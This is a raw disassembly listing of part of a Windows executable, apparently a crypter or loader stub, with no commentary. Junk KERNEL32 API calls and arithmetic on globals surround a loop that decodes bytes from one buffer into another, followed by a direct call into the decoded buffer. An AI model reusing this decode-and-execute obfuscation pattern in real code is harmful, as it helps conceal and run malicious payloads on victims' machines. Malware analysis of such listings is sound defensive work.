mov dword [ebp - 8], edx
push 0x38
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [str._5L0]
sub ecx, eax
mov dword [str._5L0], ecx
mov edx, dword [0x40f030]
sub edx, 0x59
mov dword [0x40f030], edx
mov eax, dword [0x40f028]
sub eax, dword [0x40f01c]
mov dword [0x40f028], eax
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [0x40f00c]
jle 0x402810
mov dword [ebp - 0x60], 2
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0xa8]
sub eax, 1
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 5
ja case.default.0x4026cf
mov ecx, dword [ebp - 0xa8]
jmp dword [ecx*4 + 0x403928]
mov edx, dword [str._5L0]
sub edx, 0x4a
mov dword [str._5L0], edx
mov eax, dword [str._5L0]
sub eax, dword [0x40f034]
mov dword [str._5L0], eax
mov ecx, dword [0x40f020]
sub ecx, 0x5f
mov dword [0x40f020], ecx
mov edx, dword [0x40f020]
sub edx, dword [0x40f01c]
mov dword [0x40f020], edx
mov eax, dword [0x40f020]
add eax, dword [0x40f034]
mov dword [0x40f020], eax
push 0xa
push 0x18
push 0x20
push 0x54
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov ecx, dword [0x40f02c]
sub ecx, eax
mov dword [0x40f02c], ecx
mov edx, dword [0x40f02c]
push edx
mov eax, dword [str._5L0]
push eax
call fcn.00401300
add esp, 8
mov ecx, dword [str._5L0]
sub ecx, eax
mov dword [str._5L0], ecx
mov edx, dword [0x40f030]
add edx, dword [0x40f02c]
mov dword [0x40f030], edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
add eax, dword [0x40f020]
mov dword [0x40f020], eax
mov eax, dword [str._5L0]
push eax
mov ecx, dword [0x40f01c]
push ecx
mov edx, dword [str._5L0]
push edx
call fcn.00401000
add esp, 0xc
add eax, dword [0x40f01c]
mov dword [0x40f01c], eax
mov eax, dword [0x40f01c]
sub eax, dword [0x40f020]
mov dword [0x40f01c], eax
mov ecx, dword [0x40f028]
add ecx, 0x50
mov dword [0x40f028], ecx
mov edx, dword [0x40f02c]
push edx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
mov ecx, dword [0x40f020]
sub ecx, eax
mov dword [0x40f020], ecx
mov edx, dword [0x40f034]
sub edx, dword [0x40f028]
mov dword [0x40f034], edx
jmp 0x402810
cmp dword [ebp - 0x20], 0x3d
jl 0x402810
mov eax, dword [str._5L0]
sub eax, 0x2a
mov dword [str._5L0], eax
mov ecx, dword [0x40f034]
push ecx
mov edx, dword [0x40f020]
push edx
mov eax, dword [0x40f020]
push eax
mov ecx, dword [str._5L0]
push ecx
call fcn.00401410
add esp, 0x10
add eax, dword [str._5L0]
mov dword [str._5L0], eax
mov edx, dword [str._5L0]
sub edx, dword [0x40f02c]
mov dword [str._5L0], edx
mov eax, dword [0x40f028]
sub eax, dword [0x40f034]
mov dword [0x40f028], eax
mov ecx, dword [ebp - 0x10]
movzx edx, byte [ecx + 0x41ab40]
add edx, dword [ebp - 0x30]
mov byte [ebp - 1], dl
cmp dword [0x40f004], 0x2b
jg 0x4028b5
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
push 0x56
push 0x36
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov ecx, dword [ebp - 0x34]
sub ecx, eax
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
sub edx, 0x3f
mov dword [ebp - 0x34], edx
mov eax, dword [0x40f02c]
push eax
mov ecx, dword [0x40f034]
push ecx
mov edx, dword [0x40f028]
push edx
call fcn.00401000
add esp, 0xc
cmp eax, 0x22
jl 0x402a6f
mov dword [ebp - 0x64], 6
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
je 0x402916
cmp dword [ebp - 0xac], 2
je 0x402907
cmp dword [ebp - 0xac], 3
je 0x402925
jmp 0x40297f
mov ecx, dword [0x40f03c]
xor ecx, 0x3f
mov dword [0x40f03c], ecx
mov edx, dword [0x40f030]
sub edx, 0xa
mov dword [0x40f030], edx
mov eax, dword [0x40f02c]
add eax, dword [0x40f020]
mov dword [0x40f02c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [0x40f01c]
sub ecx, eax
mov dword [0x40f01c], ecx
mov edx, dword [0x40f034]
add edx, dword [0x40f01c]
mov dword [0x40f034], edx
mov eax, dword [0x40f02c]
sub eax, dword [0x40f034]
mov dword [0x40f02c], eax
mov ecx, dword [str._5L0]
sub ecx, 0x5a
mov dword [str._5L0], ecx
jmp 0x402a6d
cmp dword [0x40f014], 0x4c
jl 0x40299a
mov edx, dword [0x40f020]
add edx, dword [0x40f030]
mov dword [0x40f020], edx
push 0x53
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
cmp eax, 0x43
ja 0x4029bb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [0x40f02c]
sub ecx, eax
mov dword [0x40f02c], ecx
cmp dword [0x40f020], 0x43
jl 0x4029d8
mov edx, dword [0x40f01c]
add edx, dword [0x40f030]
mov dword [0x40f01c], edx
jmp 0x4029e5
mov eax, dword [0x40f034]
sub eax, 0x1a
mov dword [0x40f034], eax
mov ecx, dword [str._5L0]
push ecx
mov edx, dword [0x40f020]
push edx
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov esi, eax
push 0x61
mov eax, dword [0x40f01c]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp esi, eax
jb 0x402a39
mov ecx, dword [0x40f028]
push ecx
mov edx, dword [0x40f034]
push edx
mov eax, dword [0x40f020]
push eax
call fcn.00401000
add esp, 0xc
mov ecx, dword [0x40f02c]
sub ecx, eax
mov dword [0x40f02c], ecx
mov edx, dword [0x40f030]
push edx
mov eax, dword [0x40f01c]
push eax
call fcn.00401300
add esp, 8
cmp eax, 0xf
jg 0x402a6d
mov ecx, dword [0x40f030]
push ecx
call fcn.00401050
add esp, 4
add eax, dword [0x40f034]
mov dword [0x40f034], eax
jmp 0x402ac2
mov edx, dword [0x40f01c]
sub edx, dword [str._5L0]
mov dword [0x40f01c], edx
mov eax, dword [0x40f01c]
sub eax, dword [0x40f02c]
mov dword [0x40f01c], eax
mov ecx, dword [0x40f030]
push ecx
mov edx, dword [0x40f030]
push edx
mov eax, dword [0x40f02c]
push eax
mov ecx, dword [str._5L0]
push ecx
call fcn.00401410
add esp, 0x10
mov edx, dword [0x40f034]
sub edx, eax
mov dword [0x40f034], edx
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp - 1]
mov byte [eax + 0x41c3e0], cl
mov edx, dword [ebp - 0x18]
cmp edx, dword [0x40f00c]
jle 0x402b22
mov eax, dword [0x40f028]
add eax, dword [str._5L0]
mov dword [0x40f028], eax
mov ecx, dword [str._5L0]
add ecx, 0x21
mov dword [str._5L0], ecx
mov edx, dword [0x40f028]
push edx
mov eax, dword [0x40f02c]
push eax
mov ecx, dword [0x40f030]
push ecx
call fcn.00401000
add esp, 0xc
mov edx, dword [0x40f028]
sub edx, eax
mov dword [0x40f028], edx
cmp dword [str._T03], 0x21
jg 0x402cef
mov dword [ebp - 0x68], 1
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
je 0x402bbf
cmp dword [ebp - 0xb0], 2
je 0x402b63
cmp dword [ebp - 0xb0], 3
je 0x402c0b
jmp 0x402c5b
mov ecx, dword [0x40f01c]
sub ecx, dword [0x40f034]
mov dword [0x40f01c], ecx
mov edx, dword [0x40f01c]
add edx, 0x4f
mov dword [0x40f01c], edx
mov eax, dword [0x40f01c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
add eax, dword [0x40f02c]
mov dword [0x40f02c], eax
mov ecx, dword [0x40f028]
sub ecx, dword [0x40f02c]
mov dword [0x40f028], ecx
mov edx, dword [0x40f034]
sub edx, dword [0x40f028]
mov dword [0x40f034], edx
mov eax, dword [0x40f028]
push eax
mov ecx, dword [0x40f028]
push ecx
mov edx, dword [0x40f01c]
push edx
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f034]
push ecx
call fcn.00401190
add esp, 0x14
add eax, dword [0x40f01c]
mov dword [0x40f01c], eax
push 0x2b
push 0x47
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov edx, dword [str._5L0]
sub edx, eax
mov dword [str._5L0], edx
mov eax, dword [0x40f02c]
sub eax, 0x35
mov dword [0x40f02c], eax
mov ecx, dword [str._5L0]
push ecx
mov edx, dword [str._5L0]
push edx
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f02c]
push ecx
mov edx, dword [0x40f030]
push edx
mov eax, dword [0x40f028]
push eax
call fcn.004014a0
add esp, 0x18
mov ecx, dword [0x40f020]
sub ecx, eax
mov dword [0x40f020], ecx
jmp 0x402cef
cmp dword [ebp - 0x2c], 0x2d
jge 0x402c87
mov edx, dword [0x40f034]
push edx
push 0x31
push 0x4b
push 0x64
push 0x49
mov eax, dword [0x40f02c]
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
add eax, dword [0x40f030]
mov dword [0x40f030], eax
mov ecx, dword [0x40f030]
push ecx
mov edx, dword [0x40f030]
push edx
mov eax, dword [0x40f034]
push eax
mov ecx, dword [0x40f01c]
push ecx
call fcn.00401370
add esp, 0x10
mov esi, eax
mov edx, dword [str._5L0]
push edx
mov eax, dword [0x40f034]
push eax
mov ecx, dword [0x40f02c]
push ecx
mov edx, dword [str._5L0]
push edx
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f028]
push ecx
call fcn.004014a0
add esp, 0x18
cmp esi, eax
jne 0x402cef
mov edx, dword [0x40f028]
add edx, 0x51
mov dword [0x40f028], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
push 0x5d
mov ecx, dword [0x40f020]
push ecx
mov edx, dword [0x40f028]
push edx
push 0x5c
mov eax, dword [0x40f034]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov ecx, dword [0x40f020]
sub ecx, eax
mov dword [0x40f020], ecx
mov edx, dword [0x40f020]
push edx
call fcn.00401050
add esp, 4
mov ecx, dword [0x40f028]
sub ecx, eax
mov dword [0x40f028], ecx
mov edx, dword [0x40f030]
sub edx, 0x20
mov dword [0x40f030], edx
mov eax, dword [ebp - 0x34]
cmp eax, dword [0x40f00c]
jl 0x402db8
mov ecx, dword [0x40f01c]
sub ecx, dword [0x40f020]
mov dword [0x40f01c], ecx
mov edx, dword [0x40f030]
push edx
mov eax, dword [0x40f028]
push eax
mov ecx, dword [0x40f034]
push ecx
mov edx, dword [0x40f02c]
push edx
mov eax, dword [0x40f030]
push eax
mov ecx, dword [0x40f030]
push ecx
call fcn.004014a0
add esp, 0x18
mov edx, dword [0x40f02c]
sub edx, eax
mov dword [0x40f02c], edx
mov eax, dword [str._5L0]
sub eax, 0x35
mov dword [str._5L0], eax
cmp dword [0x40f018], 0x1b
jg 0x402e1e
mov ecx, dword [0x40f034]
sub ecx, dword [0x40f030]
mov dword [0x40f034], ecx
mov edx, dword [0x40f034]
push edx
mov eax, dword [0x40f034]
push eax
call fcn.00401300
add esp, 8
add eax, dword [0x40f01c]
mov dword [0x40f01c], eax
push 0x60
push 0xe
mov ecx, dword [str._5L0]
push ecx
push 0x36
mov edx, dword [0x40f034]
push edx
push 0x34
push 0x2b
push 0x36
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
add eax, dword [str._5L0]
mov dword [str._5L0], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x28]
jne 0x402365
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00401000
add esp, 0xc
cmp eax, dword [ebp - 8]
jge 0x402fda
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401190
add esp, 0x14
cmp eax, 0xf
jle 0x402fd8
mov dword [ebp - 0x6c], 7
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
sub ecx, 1
mov dword [ebp - 0xb4], ecx
cmp dword [ebp - 0xb4], 6
ja case.default.0x402e9e
mov edx, dword [ebp - 0xb4]
jmp dword [edx*4 + 0x403940]
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x18]
and eax, dword [0x40f060]
mov dword [0x40f060], eax
mov ecx, dword [ebp - 0x20]
and ecx, dword [ebp - 8]
mov edx, dword [str.2W_U9FN___]
sar edx, cl
mov dword [str.2W_U9FN___], edx
mov eax, dword [0x40f058]
and eax, 0x27
mov dword [0x40f058], eax
mov ecx, dword [ebp - 8]
add ecx, 0x14
and ecx, dword [0x40f03c]
mov dword [0x40f03c], ecx
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x2c], edx
mov eax, dword [str.2W_U9FN___]
shl eax, 0x13
mov dword [str.2W_U9FN___], eax
mov ecx, dword [0x40f040]
shl ecx, 0x6c
mov dword [0x40f040], ecx
mov edx, dword [0x40f050]
sub edx, 0x56
mov dword [0x40f050], edx
mov eax, dword [0x40f054]
add eax, dword [ebp - 0x20]
mov dword [0x40f054], eax
mov ecx, dword [ebp - 0x34]
add ecx, 4
mov edx, dword [0x40f040]
shl edx, cl
mov dword [0x40f040], edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x2c]
or eax, dword [0x40f054]
mov dword [0x40f054], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x37
mov dword [ebp - 0x18], edx
jmp 0x402fd8
cmp dword [0x40f00c], 0x38
jge 0x402f92
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004014a0
add esp, 0x18
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401300
add esp, 8
cmp dword [ebp - 0x18], eax
jge 0x402fb2
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x2c], edx
jmp 0x402fd8
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.004014a0
add esp, 0x18
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
jmp 0x403002
mov eax, dword [ebp - 8]
add eax, 0x57
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0x37
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
cmp dword [0x40f028], 0x56
jne 0x40303c
mov ecx, dword [str._5L0]
add ecx, dword [0x40f034]
mov dword [str._5L0], ecx
mov edx, dword [0x40f034]
add edx, 0x25
mov dword [0x40f034], edx
mov eax, dword [0x40f028]
sub eax, dword [str._5L0]
mov dword [0x40f028], eax
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [0x40f010]
jle 0x4031d1
mov dword [ebp - 0x70], 1
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0xb8]
sub eax, 1
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
ja case.default.0x403079
mov ecx, dword [ebp - 0xb8]
jmp dword [ecx*4 + 0x40395c]
mov edx, dword [0x40f02c]
add edx, dword [0x40f020]
imul edx, dword [0x40f054]
mov dword [0x40f054], edx
mov eax, dword [0x40f058]
xor eax, 8
mov dword [0x40f058], eax
mov ecx, dword [0x40f020]
and ecx, dword [0x40f034]
and ecx, dword [str.2W_U9FN___]
mov dword [str.2W_U9FN___], ecx
mov edx, dword [0x40f044]
sub edx, dword [0x40f02c]
mov dword [0x40f044], edx
jmp 0x4031d1
push 0x2d
mov eax, dword [0x40f020]
push eax
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
cmp dword [0x40f02c], eax
jb 0x40310c
mov ecx, dword [0x40f020]
push ecx
mov edx, dword [0x40f020]
push edx
call fcn.00401300
add esp, 8
add eax, dword [0x40f02c]
mov dword [0x40f02c], eax
mov eax, dword [str._5L0]
cmp eax, dword [0x40f030]
jg 0x40312b
mov ecx, dword [0x40f034]
sub ecx, dword [0x40f01c]
mov dword [0x40f034], ecx
cmp dword [ebp - 0x2c], 0x42
jg 0x403143
mov edx, dword [0x40f02c]
sub edx, dword [0x40f034]
mov dword [0x40f02c], edx
push 0x2a
push 0x59
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
cmp dword [str._5L0], eax
jne 0x403185
mov eax, dword [0x40f028]
push eax
mov ecx, dword [str._5L0]
push ecx
mov edx, dword [0x40f02c]
push edx
mov eax, dword [0x40f034]
push eax
call fcn.00401410
add esp, 0x10
mov ecx, dword [0x40f034]
sub ecx, eax
mov dword [0x40f034], ecx
mov edx, dword [str._5L0]
push edx
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f030]
push ecx
mov edx, dword [0x40f02c]
push edx
call fcn.00401370
add esp, 0x10
cmp dword [0x40f030], eax
jg 0x4031c2
mov eax, dword [0x40f028]
sub eax, dword [0x40f028]
mov dword [0x40f028], eax
jmp 0x4031d1
mov ecx, dword [0x40f034]
sub ecx, 0x5c
mov dword [0x40f034], ecx
mov edx, dword [0x40f020]
push edx
push 0x57
push 0x34
push 0x2f
push 0x46
push 0x4a
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
add eax, dword [0x40f030]
mov dword [0x40f030], eax
mov eax, dword [str._5L0]
sub eax, dword [0x40f030]
mov dword [str._5L0], eax
mov ecx, dword [str._5L0]
sub ecx, 0x52
mov dword [str._5L0], ecx
cmp dword [0x40f010], 0x3a
jle 0x40326b
mov dword [ebp - 0x74], 1
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0xbc], edx
cmp dword [ebp - 0xbc], 1
je 0x40323f
cmp dword [ebp - 0xbc], 2
je 0x403248
jmp 0x403259
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov ecx, dword [0x40f040]
add ecx, dword [ebp - 8]
mov dword [0x40f040], ecx
jmp 0x40326b
cmp dword [0x40f010], 0x47
jl 0x40326b
mov edx, dword [ebp - 8]
add edx, 0xc
mov dword [ebp - 8], edx
mov eax, dword [0x40f01c]
push eax
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
mov ecx, dword [0x40f030]
sub ecx, eax
mov dword [0x40f030], ecx
mov edx, dword [0x40f034]
add edx, 0x3f
mov dword [0x40f034], edx
mov eax, dword [0x40f02c]
sub eax, dword [0x40f01c]
mov dword [0x40f02c], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [0x40f00c]
jle 0x4033b1
mov dword [ebp - 0x78], 3
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0xc0]
sub eax, 1
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 4
ja case.default.0x4032e5
mov ecx, dword [ebp - 0xc0]
jmp dword [ecx*4 + 0x40396c]
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x34]
or edx, dword [0x40f054]
mov dword [0x40f054], edx
mov eax, dword [ebp - 8]
imul eax, eax, 0x58
add eax, dword [0x40f058]
mov dword [0x40f058], eax
mov ecx, dword [0x40f058]
sar ecx, 0x5a
mov dword [0x40f058], ecx
mov edx, dword [str.2W_U9FN___]
and edx, dword [ebp - 8]
mov dword [str.2W_U9FN___], edx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
push 0x3f
mov ecx, dword [ebp - 0x20]
push ecx
push 0x5a
push 0x42
call dword [sym.imp.KERNEL32.dll_GetFileTime]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x34]
sub edx, 0x16
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x5a
mov dword [ebp - 0x2c], ecx
mov edx, dword [0x40f04c]
imul edx, edx, 0x27
mov dword [0x40f04c], edx
mov eax, dword [0x40f03c]
xor eax, dword [ebp - 0x34]
mov dword [0x40f03c], eax
mov ecx, dword [0x40f054]
sar ecx, 9
mov dword [0x40f054], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov edx, dword [ebp - 0x34]
sub edx, eax
mov dword [ebp - 0x34], edx
jmp 0x4033b1
cmp dword [ebp - 0x34], 0x27
jle 0x4033b1
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov ecx, dword [0x40f028]
push ecx
mov edx, dword [0x40f020]
push edx
mov eax, dword [str._5L0]
push eax
call fcn.00401000
add esp, 0xc
mov ecx, dword [0x40f02c]
sub ecx, eax
mov dword [0x40f02c], ecx
mov edx, dword [0x40f034]
push edx
mov eax, dword [str._5L0]
push eax
call fcn.00401300
add esp, 8
mov ecx, dword [0x40f020]
sub ecx, eax
mov dword [0x40f020], ecx
mov edx, dword [0x40f030]
push edx
mov eax, dword [0x40f028]
push eax
mov ecx, dword [0x40f034]
push ecx
mov edx, dword [0x40f020]
push edx
call fcn.00401410
add esp, 0x10
mov ecx, dword [0x40f01c]
sub ecx, eax
mov dword [0x40f01c], ecx
mov edx, 0x41c3e0
call edx
cmp dword [ebp - 0x20], 0x1e
jge 0x40348c
mov eax, dword [0x40f020]
sub eax, 0x19
mov dword [0x40f020], eax
mov ecx, dword [0x40f02c]
sub ecx, dword [0x40f034]
mov dword [0x40f02c], ecx
mov edx, dword [0x40f034]
push edx
mov eax, dword [0x40f034]
push eax
mov ecx, dword [str._5L0]
push ecx
mov edx, dword [0x40f02c]
push edx
call fcn.00401370
add esp, 0x10
mov ecx, dword [0x40f020]
sub ecx, eax
mov dword [0x40f020], ecx
push 0x52
push 0xb
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov esi, eax
push 0xb
mov edx, dword [0x40f034]
push edx
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
cmp esi, eax
jae 0x4035ef
mov dword [ebp - 0x7c], 6
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 1
je 0x403550
cmp dword [ebp - 0xc4], 2
je 0x403518
cmp dword [ebp - 0xc4], 3
je 0x4034e0
jmp 0x403555
mov ecx, dword [0x40f030]
push ecx
mov edx, dword [0x40f02c]
push edx
mov eax, dword [0x40f028]
push eax
mov ecx, dword [str._5L0]
push ecx
mov edx, dword [0x40f028]
push edx
call fcn.00401190
add esp, 0x14
mov ecx, dword [0x40f034]
sub ecx, eax
mov dword [0x40f034], ecx
mov edx, dword [0x40f030]
sub edx, dword [0x40f02c]
mov dword [0x40f030], edx
mov eax, dword [0x40f030]
push eax
call dword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
add eax, dword [0x40f02c]
mov dword [0x40f02c], eax
mov ecx, dword [str._5L0]
sub ecx, 0x58
mov dword [str._5L0], ecx
jmp 0x4035ed
cmp dword [str._5L0], 0x62
jg 0x403572
mov edx, dword [0x40f030]
sub edx, dword [0x40f01c]
mov dword [0x40f030], edx
jmp 0x403582
mov eax, dword [0x40f02c]
add eax, dword [str._5L0]
mov dword [0x40f02c], eax
cmp dword [0x40f00c], 0xf
jge 0x40359d
mov ecx, dword [0x40f034]
sub ecx, dword [str._5L0]
mov dword [0x40f034], ecx
push 0x32
mov edx, dword [0x40f02c]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
cmp eax, 0x12
jb 0x4035c3
mov eax, dword [0x40f030]
sub eax, dword [0x40f02c]
mov dword [0x40f030], eax
jmp 0x4035d5
mov ecx, dword [0x40f02c]
add ecx, dword [0x40f030]
mov dword [0x40f02c], ecx
cmp dword [ebp - 0x34], 0x14
jle 0x4035ed
mov edx, dword [0x40f01c]
add edx, dword [0x40f030]
mov dword [0x40f01c], edx
jmp 0x403642
mov eax, dword [str._5L0]
add eax, dword [0x40f030]
mov dword [str._5L0], eax
mov ecx, dword [str._5L0]
sub ecx, 0x33
mov dword [str._5L0], ecx
mov edx, dword [0x40f01c]
push edx
mov eax, dword [0x40f028]
push eax
mov ecx, dword [0x40f01c]
push ecx
mov edx, dword [0x40f028]
push edx
mov eax, dword [0x40f020]
push eax
call fcn.00401190
add esp, 0x14
add eax, dword [str._5L0]
mov dword [str._5L0], eax
cmp dword [ebp - 0x20], 0x55
jle 0x4038ab
mov dword [ebp - 0x80], 5
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0xc8]
sub edx, 1
mov dword [ebp - 0xc8], edx
cmp dword [ebp - 0xc8], 5
ja case.default.0x40367e
mov eax, dword [ebp - 0xc8]
jmp dword [eax*4 + 0x403980]
mov ecx, dword [0x40f034]
sub ecx, 0x53
mov dword [0x40f034], ecx
mov edx, 0x1a
sub edx, dword [0x40f028]
imul edx, dword [0x40f044]
mov dword [0x40f044], edx
mov ecx, 0x40
sub ecx, dword [0x40f034]
mov eax, dword [str.2W_U9FN___]
shl eax, cl
mov dword [str.2W_U9FN___], eax
mov ecx, dword [str._5L0]
push ecx
mov edx, dword [0x40f034]
push edx
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
add eax, dword [0x40f02c]
mov dword [0x40f02c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
add eax, dword [0x40f034]
mov dword [0x40f034], eax
push 0x56
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
add eax, dword [0x40f020]
mov dword [0x40f020], eax
mov eax, dword [0x40f01c]
add eax, dword [0x40f020]
mov dword [0x40f01c], eax
mov ecx, dword [0x40f030]
add ecx, 0x4d
mov dword [0x40f030], ecx
mov edx, dword [0x40f02c]
add edx, dword [0x40f034]
mov dword [0x40f02c], edx
mov eax, dword [0x40f02c]
add eax, 0x4d
mov dword [0x40f02c], eax
mov ecx, dword [0x40f028]
sub ecx, dword [0x40f028]
mov dword [0x40f028], ecx
mov edx, dword [0x40f020]
sub edx, 0x1a
mov dword [0x40f020], edx
mov eax, dword [str._5L0]
push eax
push 0x43
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov ecx, dword [0x40f020]
sub ecx, eax
mov dword [0x40f020], ecx
mov edx, dword [0x40f030]
and edx, 0x4b
or edx, dword [0x40f040]
mov dword [0x40f040], edx
mov eax, dword [0x40f044]
xor eax, 0x8d
mov dword [0x40f044], eax
mov ecx, 0x34
sub ecx, dword [0x40f028]
mov edx, dword [0x40f054]
sub edx, ecx
mov dword [0x40f054], edx
jmp 0x4038ab
cmp dword [0x40f02c], 0x47
jne 0x4037dc
mov eax, dword [0x40f020]
add eax, dword [0x40f020]
mov dword [0x40f020], eax
cmp dword [0x40f00c], 0x5b
jge 0x4037f7
mov ecx, dword [0x40f02c]
sub ecx, dword [0x40f030]
mov dword [0x40f02c], ecx
push 0x1d
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
cmp eax, 0x44
ja 0x40383d
mov edx, dword [0x40f028]
push edx
mov eax, dword [str._5L0]
push eax
mov ecx, dword [0x40f028]
push ecx
mov edx, dword [0x40f028]
push edx
mov eax, dword [0x40f020]
push eax
call fcn.00401190
add esp, 0x14
mov ecx, dword [0x40f01c]
sub ecx, eax
mov dword [0x40f01c], ecx
jmp 0x40384c
mov edx, dword [0x40f01c]
sub edx, 0x4b
mov dword [0x40f01c], edx
mov eax, dword [ebp - 0x2c]
cmp eax, dword [0x40f014]
jge 0x40387b
mov ecx, dword [0x40f028]
push ecx
mov edx, dword [0x40f020]
push edx
call fcn.00401300
add esp, 8
mov ecx, dword [0x40f030]
sub ecx, eax
mov dword [0x40f030], ecx
cmp dword [0x40f030], 0x2e
jle 0x403898
mov edx, dword [0x40f01c]
add edx, dword [0x40f02c]
mov dword [0x40f01c], edx
jmp 0x4038ab
push 0x4e
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
add eax, dword [0x40f020]
mov dword [0x40f020], eax
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x43
mov dword [ebp - 0x18], ecx
push 0x1a
push 0x52
